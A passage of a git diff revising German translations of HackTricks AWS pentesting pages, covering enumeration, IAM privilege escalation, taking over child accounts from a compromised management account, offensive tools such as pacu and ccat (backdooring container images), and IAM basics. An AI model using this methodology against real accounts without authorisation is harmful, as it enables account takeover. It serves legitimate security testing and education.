an**](aws-services/aws-security-and-detection-services/aws-cloudtrail-enum.md#honeytokens-bypass). ### Org Enumeration @@ -102,8 +102,8 @@ aws-services/aws-organizations-enum.md Wenn Sie genügend Berechtigungen haben, wird das **Überprüfen der Berechtigungen jeder Entität im AWS-Konto** Ihnen helfen zu verstehen, was Sie und andere Identitäten tun können und wie Sie **Berechtigungen eskalieren** können. -Wenn Sie nicht genügend Berechtigungen haben, um IAM zu enumerieren, können Sie sie **stehlen oder bruteforcen**, um sie herauszufinden.\ -Überprüfen Sie **wie man die Enumeration und das Brute-Forcing durchführt** in: +Wenn Sie nicht genügend Berechtigungen haben, um IAM zu enumerieren, können Sie **sie bruteforcen**, um sie herauszufinden.\ +Überprüfen Sie **wie man die Enumeration und das Bruteforcing durchführt** in: {{#ref}} aws-services/aws-iam-enum.md @@ -123,7 +123,7 @@ aws-services/ Beachten Sie, dass Sie **nicht** die gesamte Arbeit **manuell** durchführen müssen. Unten in diesem Beitrag finden Sie einen **Abschnitt über** [**automatische Tools**](./#automated-tools). -Darüber hinaus könnten Sie in dieser Phase **weitere Dienste entdeckt haben, die für nicht authentifizierte Benutzer exponiert sind**, die Sie möglicherweise ausnutzen können: +Darüber hinaus könnten Sie in diesem Stadium **weitere Dienste entdeckt haben, die für nicht authentifizierte Benutzer exponiert sind**, die Sie möglicherweise ausnutzen können: {{#ref}} aws-unauthenticated-enum-access/ @@ -131,7 +131,7 @@ aws-unauthenticated-enum-access/ ## Privilege Escalation -Wenn Sie **mindestens Ihre eigenen Berechtigungen** über verschiedene Ressourcen überprüfen können, könnten Sie **überprüfen, ob Sie weitere Berechtigungen erhalten können**. Sie sollten sich mindestens auf die in folgenden Abschnitt angegebenen Berechtigungen konzentrieren: +Wenn Sie **mindestens Ihre eigenen Berechtigungen** über verschiedene Ressourcen überprüfen können, könnten Sie **überprüfen, ob Sie weitere Berechtigungen erhalten können**. Sie sollten sich mindestens auf die in: {{#ref}} aws-privilege-escalation/ @@ -139,10 +139,10 @@ aws-privilege-escalation/ ## Publicly Exposed Services -Während Sie AWS-Dienste enumerieren, haben Sie möglicherweise einige von ihnen gefunden, die **Elemente ins Internet exponieren** (VM/Container-Ports, Datenbanken oder Warteschlangendienste, Snapshots oder Buckets...).\ -Als Pentester/Red Teamer sollten Sie immer überprüfen, ob Sie **sensible Informationen / Schwachstellen** auf ihnen finden können, da sie Ihnen **weiteren Zugang zum AWS-Konto** bieten könnten. +Während Sie AWS-Dienste enumerieren, haben Sie möglicherweise einige gefunden, die **Elemente ins Internet exponieren** (VM/Container-Ports, Datenbanken oder Warteschlangendienste, Snapshots oder Buckets...).\ +Als Pentester/Red Teamer sollten Sie immer überprüfen, ob Sie **sensible Informationen / Schwachstellen** darin finden können, da sie Ihnen **weiteren Zugang zum AWS-Konto** verschaffen könnten. -In diesem Buch sollten Sie **Informationen** darüber finden, wie man **exponierte AWS-Dienste findet und wie man sie überprüft**. Über das Finden von **Schwachstellen in exponierten Netzwerkdiensten** empfehle ich Ihnen, nach dem spezifischen **Dienst** zu **suchen** in: +In diesem Buch sollten Sie **Informationen** darüber finden, wie man **exponierte AWS-Dienste findet und wie man sie überprüft**. Über das Finden von **Schwachstellen in exponierten Netzwerkdiensten** würde ich Ihnen empfehlen, nach dem spezifischen **Dienst** in: {{#ref}} https://book.hacktricks.xyz/ @@ -150,7 +150,7 @@ https://book.hacktricks.xyz/ ## Compromising the Organization -### From the root/management account +### Vom Root-/Management-Konto Wenn das Management-Konto neue Konten in der Organisation erstellt, wird eine **neue Rolle** im neuen Konto erstellt, standardmäßig benannt **`OrganizationAccountAccessRole`** und gibt der **Management-Konto** die **AdministratorAccess**-Richtlinie, um auf das neue Konto zuzugreifen. @@ -159,9 +159,9 @@ Wenn das Management-Konto neue Konten in der Organisation erstellt, wird eine ** Um also als Administrator auf ein Kindkonto zuzugreifen, benötigen Sie: - **Kompromittieren** Sie das **Management**-Konto und finden Sie die **ID** der **Kindkonten** und die **Namen** der **Rolle** (OrganizationAccountAccessRole standardmäßig), die dem Management-Konto den Zugriff als Administrator ermöglicht. -- Um Kindkonten zu finden, gehen Sie zum Organisationsbereich in der AWS-Konsole oder führen Sie `aws organizations list-accounts` aus. +- Um Kindkonten zu finden, gehen Sie zum Abschnitt Organisationen in der AWS-Konsole oder führen Sie `aws organizations list-accounts` aus. - Sie können die Namen der Rollen nicht direkt finden, also überprüfen Sie alle benutzerdefinierten IAM-Richtlinien und suchen Sie nach solchen, die **`sts:AssumeRole` über die zuvor entdeckten Kindkonten** erlauben. -- **Kompromittieren** Sie einen **Principal** im Management-Konto mit **`sts:AssumeRole`-Berechtigung über die Rolle in den Kindkonten** (auch wenn das Konto jedem im Management-Konto erlaubt, sich auszugeben, da es sich um ein externes Konto handelt, sind spezifische `sts:AssumeRole`-Berechtigungen erforderlich). +- **Kompromittieren** Sie einen **Principal** im Management-Konto mit **`sts:AssumeRole`-Berechtigung über die Rolle in den Kindkonten** (auch wenn das Konto jedem im Management-Konto erlaubt, sich auszugeben, sind spezifische `sts:AssumeRole`-Berechtigungen erforderlich, da es sich um ein externes Konto handelt). ## Automated Tools @@ -255,7 +255,7 @@ pacu > exec iam__enum_permissions # Get permissions > exec iam__privesc_scan # List privileged permissions ``` -- [**PMapper**](https://github.com/nccgroup/PMapper): Principal Mapper (PMapper) ist ein Skript und eine Bibliothek zur Identifizierung von Risiken in der Konfiguration von AWS Identity and Access Management (IAM) für ein AWS-Konto oder eine AWS-Organisation. Es modelliert die verschiedenen IAM-Benutzer und -Rollen in einem Konto als gerichteten Graphen, was Überprüfungen auf **privilege escalation** und auf alternative Wege ermöglicht, die ein Angreifer nutzen könnte, um Zugriff auf eine Ressource oder Aktion in AWS zu erhalten. Sie können die **permissions used to find privesc** Pfade in den Dateien, die mit `_edges.py` enden, in [https://github.com/nccgroup/PMapper/tree/master/principalmapper/graphing](https://github.com/nccgroup/PMapper/tree/master/principalmapper/graphing) überprüfen. +- [**PMapper**](https://github.com/nccgroup/PMapper): Principal Mapper (PMapper) ist ein Skript und eine Bibliothek zur Identifizierung von Risiken in der Konfiguration von AWS Identity and Access Management (IAM) für ein AWS-Konto oder eine AWS-Organisation. Es modelliert die verschiedenen IAM-Benutzer und -Rollen in einem Konto als gerichteten Graphen, was Überprüfungen auf **Privilegienausweitung** und auf alternative Wege ermöglicht, die ein Angreifer nutzen könnte, um Zugriff auf eine Ressource oder Aktion in AWS zu erhalten. Sie können die **Berechtigungen überprüfen, die verwendet werden, um privesc**-Pfad in den Dateinamen, die mit `_edges.py` enden, in [https://github.com/nccgroup/PMapper/tree/master/principalmapper/graphing](https://github.com/nccgroup/PMapper/tree/master/principalmapper/graphing) ```bash # Install pip install principalmapper @@ -278,7 +278,7 @@ pmapper --profile dev orgs create pmapper --profile dev orgs display ``` - [**cloudsplaining**](https://github.com/salesforce/cloudsplaining): Cloudsplaining ist ein AWS IAM-Sicherheitsbewertungstool, das Verstöße gegen das Prinzip der minimalen Berechtigung identifiziert und einen risikopriorisierten HTML-Bericht erstellt.\ -Es zeigt Ihnen potenziell **überprivilegierte** Kunden, Inline- und AWS-**Richtlinien** und welche **Prinzipien Zugriff darauf haben**. (Es überprüft nicht nur auf privesc, sondern auch auf andere interessante Berechtigungen, die empfohlen werden zu verwenden). +Es zeigt Ihnen potenziell **überprivilegierte** Kunden, Inline- und AWS-**Richtlinien** und welche **Prinzipale Zugriff darauf haben**. (Es überprüft nicht nur auf Privesc, sondern auch auf andere interessante Berechtigungen, die empfohlen werden zu verwenden). ```bash # Install pip install cloudsplaining @@ -291,19 +291,19 @@ cloudsplaining download --profile dev cloudsplaining scan --input-file /private/tmp/cloudsplaining/dev.json --output /tmp/files/ ``` - [**cloudjack**](https://github.com/prevade/cloudjack): CloudJack bewertet AWS-Konten auf **Subdomain-Hijacking-Schwachstellen** aufgrund von entkoppelten Route53- und CloudFront-Konfigurationen. -- [**ccat**](https://github.com/RhinoSecurityLabs/ccat): Liste ECR-Repos -> Ziehe ECR-Repo -> Hintertür einfügen -> Hintertür-Image pushen -- [**Dufflebag**](https://github.com/bishopfox/dufflebag): Dufflebag ist ein Tool, das durch öffentliche Elastic Block Storage (**EBS**) Snapshots nach Geheimnissen **sucht**, die möglicherweise versehentlich hinterlassen wurden. +- [**ccat**](https://github.com/RhinoSecurityLabs/ccat): Liste ECR-Repos -> Ziehe ECR-Repo -> Hintertür -> Pushe das hintertürige Image +- [**Dufflebag**](https://github.com/bishopfox/dufflebag): Dufflebag ist ein Tool, das **in öffentlichen Elastic Block Storage (EBS) Snapshots nach Geheimnissen sucht**, die möglicherweise versehentlich hinterlassen wurden. ### Audit -- [**cloudsploit**](https://github.com/aquasecurity/cloudsploit)**:** CloudSploit von Aqua ist ein Open-Source-Projekt, das entwickelt wurde, um **Sicherheitsrisiken in Cloud-Infrastruktur** Konten zu erkennen, einschließlich: Amazon Web Services (AWS), Microsoft Azure, Google Cloud Platform (GCP), Oracle Cloud Infrastructure (OCI) und GitHub (Es sucht nicht nach ShadowAdmins). +- [**cloudsploit**](https://github.com/aquasecurity/cloudsploit)**:** CloudSploit von Aqua ist ein Open-Source-Projekt, das entwickelt wurde, um **Sicherheitsrisiken in Cloud-Infrastruktur**-Konten zu erkennen, einschließlich: Amazon Web Services (AWS), Microsoft Azure, Google Cloud Platform (GCP), Oracle Cloud Infrastructure (OCI) und GitHub (Es sucht nicht nach ShadowAdmins). ```bash ./index.js --csv=file.csv --console=table --config ./config.js # Compiance options: --compliance {hipaa,cis,cis1,cis2,pci} ## use "cis" for cis level 1 and 2 ``` -- [**Prowler**](https://github.com/prowler-cloud/prowler): Prowler ist ein Open Source-Sicherheitswerkzeug zur Durchführung von Bewertungen, Audits, Incident-Response, kontinuierlicher Überwachung, Härtung und forensischer Bereitschaft in Bezug auf AWS-Sicherheitsbest Practices. +- [**Prowler**](https://github.com/prowler-cloud/prowler): Prowler ist ein Open Source-Sicherheitswerkzeug zur Durchführung von Bewertungen, Audits, Incident Response, kontinuierlicher Überwachung, Härtung und forensischer Bereitschaft in Bezug auf AWS-Sicherheitsbest Practices. ```bash # Install python3, jq and git # Install @@ -318,7 +318,7 @@ prowler aws --profile custom-profile [-M csv json json-asff html] ```bash cloudfox aws --profile [profile-name] all-checks ``` -- [**ScoutSuite**](https://github.com/nccgroup/ScoutSuite): Scout Suite ist ein Open-Source-Multi-Cloud-Sicherheitsprüfungswerkzeug, das die Bewertung der Sicherheitslage von Cloud-Umgebungen ermöglicht. +- [**ScoutSuite**](https://github.com/nccgroup/ScoutSuite): Scout Suite ist ein Open-Source-Tool zur Sicherheitsprüfung für mehrere Clouds, das die Bewertung der Sicherheitslage von Cloud-Umgebungen ermöglicht. ```bash # Install virtualenv -p python3 venv @@ -335,8 +335,8 @@ scout aws -p dev ### Ständige Prüfung - [**cloud-custodian**](https://github.com/cloud-custodian/cloud-custodian): Cloud Custodian ist eine Regel-Engine zur Verwaltung öffentlicher Cloud-Konten und -Ressourcen. Es ermöglicht Benutzern, **Richtlinien zu definieren, um eine gut verwaltete Cloud-Infrastruktur** zu ermöglichen, die sowohl sicher als auch kosteneffizient ist. Es konsolidiert viele der Ad-hoc-Skripte, die Organisationen haben, in ein leichtgewichtiges und flexibles Tool mit einheitlichen Metriken und Berichterstattung. -- [**pacbot**](https://github.com/tmobile/pacbot)**: Policy as Code Bot (PacBot)** ist eine Plattform für **kontinuierliche Compliance-Überwachung, Compliance-Berichterstattung und Sicherheitsautomatisierung für die Cloud**. In PacBot werden Sicherheits- und Compliance-Richtlinien als Code implementiert. Alle von PacBot entdeckten Ressourcen werden gegen diese Richtlinien bewertet, um die Konformität mit den Richtlinien zu überprüfen. Das PacBot **Auto-Fix**-Framework bietet die Möglichkeit, automatisch auf Richtlinienverletzungen zu reagieren, indem vordefinierte Maßnahmen ergriffen werden. -- [**streamalert**](https://github.com/airbnb/streamalert)**:** StreamAlert ist ein serverloses, **Echtzeit**-Datenanalyse-Framework, das es Ihnen ermöglicht, **Daten aus jeder Umgebung zu erfassen, zu analysieren und zu alarmieren**, **unter Verwendung von Datenquellen und Alarmierungslogik, die Sie definieren**. Computer-Sicherheitsteams verwenden StreamAlert, um täglich Terabytes von Protokolldaten auf Vorfallserkennung und -reaktion zu scannen. +- [**pacbot**](https://github.com/tmobile/pacbot)**: Policy as Code Bot (PacBot)** ist eine Plattform für **kontinuierliche Compliance-Überwachung, Compliance-Berichterstattung und Sicherheitsautomatisierung für die Cloud**. In PacBot werden Sicherheits- und Compliance-Richtlinien als Code implementiert. Alle von PacBot entdeckten Ressourcen werden anhand dieser Richtlinien bewertet, um die Konformität mit den Richtlinien zu überprüfen. Das PacBot **Auto-Fix**-Framework bietet die Möglichkeit, automatisch auf Richtlinienverletzungen zu reagieren, indem vordefinierte Aktionen ausgeführt werden. +- [**streamalert**](https://github.com/airbnb/streamalert)**:** StreamAlert ist ein serverloses, **Echtzeit**-Datenanalyse-Framework, das es Ihnen ermöglicht, **Daten aus jeder Umgebung zu erfassen, zu analysieren und zu alarmieren**, **unter Verwendung von Datenquellen und Alarmierungslogik, die Sie definieren**. Computer-Sicherheitsteams verwenden StreamAlert, um täglich Terabytes von Protokolldaten auf Vorfälle zu scannen und darauf zu reagieren. ## DEBUG: AWS CLI-Anfragen erfassen ```bash diff --git a/src/pentesting-cloud/aws-security/aws-basic-information/README.md b/src/pentesting-cloud/aws-security/aws-basic-information/README.md index 223b5dfc8..c4d965e51 100644 --- a/src/pentesting-cloud/aws-security/aws-basic-information/README.md +++ b/src/pentesting-cloud/aws-security/aws-basic-information/README.md @@ -31,9 +31,9 @@ Das Verwaltungskonto hat die **Verantwortlichkeiten eines Zahlungskontos** und i ``` aws organizations create-account --account-name testingaccount --email testingaccount@lalala1233fr.com ``` -### **Organisationseinheiten** +### **Organisations-Einheiten** -Konten können in **Organisationseinheiten (OU)** gruppiert werden. Auf diese Weise können Sie **Richtlinien** für die Organisationseinheit erstellen, die auf **alle untergeordneten Konten angewendet werden**. Beachten Sie, dass eine OU andere OUs als Kinder haben kann. +Konten können in **Organisations-Einheiten (OU)** gruppiert werden. Auf diese Weise können Sie **Richtlinien** für die Organisations-Einheit erstellen, die auf **alle untergeordneten Konten angewendet werden**. Beachten Sie, dass eine OU andere OUs als Kinder haben kann. ```bash # You can get the root id from aws organizations list-roots aws organizations create-organizational-unit --parent-id r-lalala --name TestOU @@ -62,7 +62,7 @@ modifiziert werden. - Verweigern, dass Backups gelöscht werden. - Verweigern, IAM-Benutzer und Zugriffsschlüssel zu erstellen -Finden Sie **JSON-Beispiele** unter [https://docs.aws.amazon.com/organizations/latest/userguide/orgs_manage_policies_scps_examples.html](https://docs.aws.amazon.com/organizations/latest/userguide/orgs_manage_policies_scps_examples.html) +Finden Sie **JSON-Beispiele** in [https://docs.aws.amazon.com/organizations/latest/userguide/orgs_manage_policies_scps_examples.html](https://docs.aws.amazon.com/organizations/latest/userguide/orgs_manage_policies_scps_examples.html) ### ARN @@ -71,14 +71,14 @@ Finden Sie **JSON-Beispiele** unter [https://docs.aws.amazon.com/organizations/l arn:partition:service:region:account-id:resource-type/resource-id arn:aws:elasticbeanstalk:us-west-1:123456789098:environment/App/Env ``` -Hinweis: Es gibt 4 Partitionen in AWS, aber nur 3 Möglichkeiten, sie zu benennen: +Beachten Sie, dass es 4 Partitionen in AWS gibt, aber nur 3 Möglichkeiten, sie zu benennen: - AWS Standard: `aws` - AWS China: `aws-cn` - AWS US public Internet (GovCloud): `aws-us-gov` - AWS Secret (US Classified): `aws` -## IAM - Identitäts- und Zugriffsmanagement +## IAM - Identity and Access Management IAM ist der Dienst, der es Ihnen ermöglicht, **Authentifizierung**, **Autorisierung** und **Zugriffskontrolle** innerhalb Ihres AWS-Kontos zu verwalten. @@ -86,33 +86,33 @@ IAM ist der Dienst, der es Ihnen ermöglicht, **Authentifizierung**, **Autorisie - **Autorisierung** - Bestimmt, auf was eine Identität innerhalb eines Systems zugreifen kann, nachdem sie authentifiziert wurde. - **Zugriffskontrolle** - Die Methode und der Prozess, wie der Zugriff auf eine sichere Ressource gewährt wird. -IAM kann durch seine Fähigkeit definiert werden, die Authentifizierungs-, Autorisierungs- und Zugriffskontrollmechanismen von Identitäten zu Ihren Ressourcen innerhalb Ihres AWS-Kontos zu verwalten, zu steuern und zu regeln. +IAM kann durch seine Fähigkeit definiert werden, Authentifizierungs-, Autorisierungs- und Zugriffskontrollmechanismen von Identitäten zu Ihren Ressourcen innerhalb Ihres AWS-Kontos zu verwalten, zu steuern und zu regeln. -### [AWS-Konto Root-Benutzer](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_root-user.html) +### [AWS account root user](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_root-user.html) -Wenn Sie zum ersten Mal ein Amazon Web Services (AWS) Konto erstellen, beginnen Sie mit einer einzelnen Anmeldeidentität, die **vollständigen Zugriff auf alle** AWS-Dienste und -Ressourcen im Konto hat. Dies ist der AWS-Konto _**Root-Benutzer**_ und wird durch die Anmeldung mit der **E-Mail-Adresse und dem Passwort, die Sie zur Erstellung des Kontos verwendet haben**, aufgerufen. +Wenn Sie zum ersten Mal ein Amazon Web Services (AWS) Konto erstellen, beginnen Sie mit einer einzelnen Anmeldeidentität, die **vollständigen Zugriff auf alle** AWS-Dienste und -Ressourcen im Konto hat. Dies ist der _**Root-Benutzer**_ des AWS-Kontos und wird durch die Anmeldung mit der **E-Mail-Adresse und dem Passwort, die Sie zur Erstellung des Kontos verwendet haben**, aufgerufen. Beachten Sie, dass ein neuer **Admin-Benutzer** **weniger Berechtigungen als der Root-Benutzer** hat. Aus sicherheitstechnischer Sicht wird empfohlen, andere Benutzer zu erstellen und diesen zu vermeiden. -### [IAM-Benutzer](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_users.html) +### [IAM users](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_users.html) -Ein IAM _Benutzer_ ist eine Entität, die Sie in AWS erstellen, um **die Person oder Anwendung** darzustellen, die sie verwendet, um **mit AWS zu interagieren**. Ein Benutzer in AWS besteht aus einem Namen und Anmeldeinformationen (Passwort und bis zu zwei Zugriffsschlüssel). +Ein IAM _Benutzer_ ist eine Entität, die Sie in AWS erstellen, um **die Person oder Anwendung** zu **repräsentieren, die damit interagiert**. Ein Benutzer in AWS besteht aus einem Namen und Anmeldeinformationen (Passwort und bis zu zwei Zugriffsschlüssel). -Wenn Sie einen IAM-Benutzer erstellen, gewähren Sie ihm **Berechtigungen**, indem Sie ihn zu einer **Gruppe von Benutzern** machen, die geeignete Berechtigungspolicen angehängt hat (empfohlen), oder indem Sie **direkt Richtlinien** an den Benutzer anhängen. +Wenn Sie einen IAM-Benutzer erstellen, gewähren Sie ihm **Berechtigungen**, indem Sie ihn zu einer **Mitgliedschaft in einer Benutzergruppe** machen, die geeignete Berechtigungspolicen angehängt hat (empfohlen), oder indem Sie **Richtlinien direkt** an den Benutzer anhängen. -Benutzer können **MFA aktiviert haben, um sich** über die Konsole anzumelden. API-Token von MFA-aktivierten Benutzern sind nicht durch MFA geschützt. Wenn Sie den **Zugriff der API-Schlüssel eines Benutzers mit MFA einschränken** möchten, müssen Sie in der Richtlinie angeben, dass zur Durchführung bestimmter Aktionen MFA vorhanden sein muss (Beispiel [**hier**](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_credentials_mfa_configure-api-require.html)). +Benutzer können **MFA aktivieren, um sich** über die Konsole anzumelden. API-Token von MFA-aktivierten Benutzern sind nicht durch MFA geschützt. Wenn Sie den **Zugriff auf die API-Schlüssel eines Benutzers mithilfe von MFA einschränken** möchten, müssen Sie in der Richtlinie angeben, dass für die Ausführung bestimmter Aktionen MFA vorhanden sein muss (Beispiel [**hier**](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_credentials_mfa_configure-api-require.html)). #### CLI -- **Zugriffsschlüssel-ID**: 20 zufällige Großbuchstaben-Ziffern wie AKHDNAPO86BSHKDIRYT -- **Geheime Zugriffsschlüssel-ID**: 40 zufällige Groß- und Kleinbuchstaben: S836fh/J73yHSb64Ag3Rkdi/jaD6sPl6/antFtU (Es ist nicht möglich, verlorene geheime Zugriffsschlüssel-IDs wiederherzustellen). +- **Access Key ID**: 20 zufällige Großbuchstaben-Zahlenkombinationen wie AKHDNAPO86BSHKDIRYT +- **Secret access key ID**: 40 zufällige Groß- und Kleinbuchstaben: S836fh/J73yHSb64Ag3Rkdi/jaD6sPl6/antFtU (Es ist nicht möglich, verlorene Secret Access Key IDs wiederherzustellen). -Wann immer Sie den **Zugriffsschlüssel ändern** müssen, sollten Sie diesen Prozess befolgen:\ +Wann immer Sie den **Access Key** **ändern** müssen, sollten Sie diesen Prozess befolgen:\ &#xNAN;_Create a new access key -> Apply the new key to system/application -> mark original one as inactive -> Test and verify new access key is working -> Delete old access key_ -### MFA - Multi-Faktor-Authentifizierung +### MFA - Multi Factor Authentication Es wird verwendet, um **einen zusätzlichen Faktor für die Authentifizierung** zusätzlich zu Ihren bestehenden Methoden, wie Passwort, zu erstellen und somit ein mehrstufiges Authentifizierungsniveau zu schaffen.\ Sie können eine **kostenlose virtuelle Anwendung oder ein physisches Gerät** verwenden. Sie können Apps wie Google Authenticator kostenlos verwenden, um ein MFA in AWS zu aktivieren. @@ -128,20 +128,20 @@ Beachten Sie, dass **`AssumeRole`-Anmeldeinformationen diese Informationen nicht ```bash aws sts get-session-token --serial-number --token-code ``` -As [**hier angegeben**](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_credentials_mfa_configure-api-require.html), gibt es viele verschiedene Fälle, in denen **MFA nicht verwendet werden kann**. +Wie [**hier angegeben**](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_credentials_mfa_configure-api-require.html), gibt es viele verschiedene Fälle, in denen **MFA nicht verwendet werden kann**. ### [IAM-Benutzergruppen](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_groups.html) -Eine IAM [Benutzergruppe](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_groups.html) ist eine Möglichkeit, **Richtlinien gleichzeitig mehreren Benutzern zuzuordnen**, was die Verwaltung der Berechtigungen für diese Benutzer erleichtern kann. **Rollen und Gruppen können kein Teil einer Gruppe sein**. +Eine IAM [Benutzergruppe](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_groups.html) ist eine Möglichkeit, **Richtlinien mehreren Benutzern** gleichzeitig zuzuordnen, was die Verwaltung der Berechtigungen für diese Benutzer erleichtern kann. **Rollen und Gruppen können kein Teil einer Gruppe sein**. -Sie können eine **identitätsbasierte Richtlinie an eine Benutzergruppe anhängen**, sodass alle **Benutzer** in der Benutzergruppe **die Berechtigungen der Richtlinie erhalten**. Sie **können** eine **Benutzergruppe** nicht als **`Principal`** in einer **Richtlinie** (wie einer ressourcenbasierten Richtlinie) identifizieren, da Gruppen sich auf Berechtigungen beziehen, nicht auf Authentifizierung, und Principals authentifizierte IAM-Entitäten sind. +Sie können eine **identitätsbasierte Richtlinie an eine Benutzergruppe** anhängen, sodass alle **Benutzer** in der Benutzergruppe **die Berechtigungen der Richtlinie erhalten**. Sie **können** eine **Benutzergruppe** nicht als **`Principal`** in einer **Richtlinie** (wie einer ressourcenbasierten Richtlinie) identifizieren, da Gruppen sich auf Berechtigungen beziehen, nicht auf Authentifizierung, und Principals authentifizierte IAM-Entitäten sind. Hier sind einige wichtige Merkmale von Benutzergruppen: -- Eine Benutzer **gruppe** kann **viele Benutzer enthalten**, und ein **Benutzer** kann **zu mehreren Gruppen gehören**. -- **Benutzergruppen können nicht geschachtelt werden**; sie können nur Benutzer enthalten, keine anderen Benutzergruppen. -- Es gibt **keine Standardbenutzergruppe, die automatisch alle Benutzer im AWS-Konto einschließt**. Wenn Sie eine solche Benutzergruppe haben möchten, müssen Sie sie erstellen und jeden neuen Benutzer ihr zuweisen. -- Die Anzahl und Größe der IAM-Ressourcen in einem AWS-Konto, wie die Anzahl der Gruppen und die Anzahl der Gruppen, denen ein Benutzer angehören kann, sind begrenzt. Weitere Informationen finden Sie unter [IAM- und AWS STS-Quoten](https://docs.aws.amazon.com/IAM/latest/UserGuide/reference_iam-quotas.html). +- Eine Benutzer **gruppe** kann **viele Benutzer** enthalten, und ein **Benutzer** kann **zu mehreren Gruppen** gehören. +- **Benutzergruppen können nicht geschachtelt** werden; sie können nur Benutzer, nicht andere Benutzergruppen enthalten. +- Es gibt **keine Standardbenutzergruppe, die automatisch alle Benutzer im AWS-Konto** umfasst. Wenn Sie eine solche Benutzergruppe haben möchten, müssen Sie sie erstellen und jeden neuen Benutzer ihr zuweisen. +- Die Anzahl und Größe der IAM-Ressourcen in einem AWS-Konto, wie die Anzahl der Gruppen und die Anzahl der Gruppen, denen ein Benutzer angehören kann, sind begrenzt. Weitere Informationen finden Sie unter [IAM und AWS STS-Quoten](https://docs.aws.amazon.com/IAM/latest/UserGuide/reference_iam-quotas.html). ### [IAM-Rollen](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_roles.html) @@ -151,7 +151,7 @@ Eine IAM-Rolle besteht aus **zwei Arten von Richtlinien**: einer **Vertrauensric #### AWS Security Token Service (STS) -AWS Security Token Service (STS) ist ein Webdienst, der die **Ausstellung von temporären, eingeschränkten Anmeldeinformationen** erleichtert. Er ist speziell auf Folgendes zugeschnitten: +AWS Security Token Service (STS) ist ein Webdienst, der die **Ausstellung von temporären, eingeschränkten Anmeldeinformationen** erleichtert. Er ist speziell auf folgende Aspekte zugeschnitten: ### [Temporäre Anmeldeinformationen in IAM](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_credentials_temp.html) @@ -164,10 +164,10 @@ AWS Security Token Service (STS) ist ein Webdienst, der die **Ausstellung von te Werden verwendet, um Berechtigungen zuzuweisen. Es gibt 2 Arten: - AWS verwaltete Richtlinien (vorkonfiguriert von AWS) -- Kundenverwaltete Richtlinien: Von Ihnen konfiguriert. Sie können Richtlinien basierend auf AWS verwalteten Richtlinien erstellen (eine von ihnen ändern und Ihre eigene erstellen), den Richtlinien-Generator verwenden (eine GUI-Ansicht, die Ihnen hilft, Berechtigungen zu gewähren und zu verweigern) oder Ihre eigenen schreiben. +- Kundenverwaltete Richtlinien: Von Ihnen konfiguriert. Sie können Richtlinien basierend auf AWS verwalteten Richtlinien erstellen (eine davon ändern und Ihre eigene erstellen), den Richtlinien-Generator verwenden (eine GUI-Ansicht, die Ihnen hilft, Berechtigungen zu gewähren und zu verweigern) oder Ihre eigenen schreiben. Standardmäßig ist der Zugriff **verweigert**, der Zugriff wird gewährt, wenn eine explizite Rolle angegeben wurde.\ -Wenn **einzelne "Verweigerung" existiert, wird sie die "Erlauben" überschreiben**, mit Ausnahme von Anfragen, die die Root-Sicherheitsanmeldeinformationen des AWS-Kontos verwenden (die standardmäßig erlaubt sind). +Wenn **einzelne "Deny" existiert, wird sie das "Allow" überschreiben**, mit Ausnahme von Anfragen, die die Root-Sicherheitsanmeldeinformationen des AWS-Kontos verwenden (die standardmäßig erlaubt sind). ```javascript { "Version": "2012-10-17", //Version of the policy @@ -196,7 +196,7 @@ Die [spezifischen Felder, die für Bedingungen pro Dienst verwendet werden könn #### Inline-Richtlinien Diese Art von Richtlinien wird **direkt einem Benutzer, einer Gruppe oder einer Rolle zugewiesen**. Daher erscheinen sie nicht in der Richtlinienliste, da sie von niemand anderem verwendet werden können.\ -Inline-Richtlinien sind nützlich, wenn Sie eine **strikte Eins-zu-eins-Beziehung zwischen einer Richtlinie und der Identität, auf die sie angewendet wird, aufrechterhalten möchten**. Zum Beispiel möchten Sie sicherstellen, dass die Berechtigungen in einer Richtlinie nicht versehentlich einer anderen Identität zugewiesen werden, als der, für die sie bestimmt sind. Wenn Sie eine Inline-Richtlinie verwenden, können die Berechtigungen in der Richtlinie nicht versehentlich der falschen Identität zugeordnet werden. Darüber hinaus werden beim Löschen dieser Identität über die AWS Management Console auch die in der Identität eingebetteten Richtlinien gelöscht. Das liegt daran, dass sie Teil der Hauptentität sind. +Inline-Richtlinien sind nützlich, wenn Sie eine **strikte Eins-zu-eins-Beziehung zwischen einer Richtlinie und der Identität** aufrechterhalten möchten, auf die sie angewendet wird. Zum Beispiel möchten Sie sicherstellen, dass die Berechtigungen in einer Richtlinie nicht versehentlich einer anderen Identität zugewiesen werden, als der, für die sie bestimmt sind. Wenn Sie eine Inline-Richtlinie verwenden, können die Berechtigungen in der Richtlinie nicht versehentlich der falschen Identität zugeordnet werden. Darüber hinaus werden beim Löschen dieser Identität über die AWS Management Console auch die in der Identität eingebetteten Richtlinien gelöscht. Das liegt daran, dass sie Teil der Hauptentität sind. #### Ressourcen-Bucket-Richtlinien @@ -206,11 +206,11 @@ Wenn eine Hauptentität keine ausdrückliche Ablehnung auf ihnen hat und eine Re ### IAM-Grenzen -IAM-Grenzen können verwendet werden, um **die Berechtigungen, auf die ein Benutzer oder eine Rolle Zugriff haben sollte, einzuschränken**. Auf diese Weise wird die Operation **fehlschlagen**, selbst wenn ein anderer Satz von Berechtigungen dem Benutzer durch eine **andere Richtlinie** gewährt wird. +IAM-Grenzen können verwendet werden, um **die Berechtigungen, auf die ein Benutzer oder eine Rolle Zugriff haben sollte, einzuschränken**. Auf diese Weise wird die Operation **fehlschlagen**, selbst wenn ein anderes Set von Berechtigungen dem Benutzer durch eine **andere Richtlinie** gewährt wird, wenn er versucht, sie zu verwenden. Eine Grenze ist einfach eine Richtlinie, die einem Benutzer angehängt ist und **das maximale Niveau der Berechtigungen angibt, die der Benutzer oder die Rolle haben kann**. Selbst wenn der Benutzer Administratorzugriff hat, wenn die Grenze angibt, dass er nur S· Buckets lesen kann, ist das das Maximum, was er tun kann. -**Dies**, **SCPs** und **das Prinzip der minimalen Berechtigung** sind die 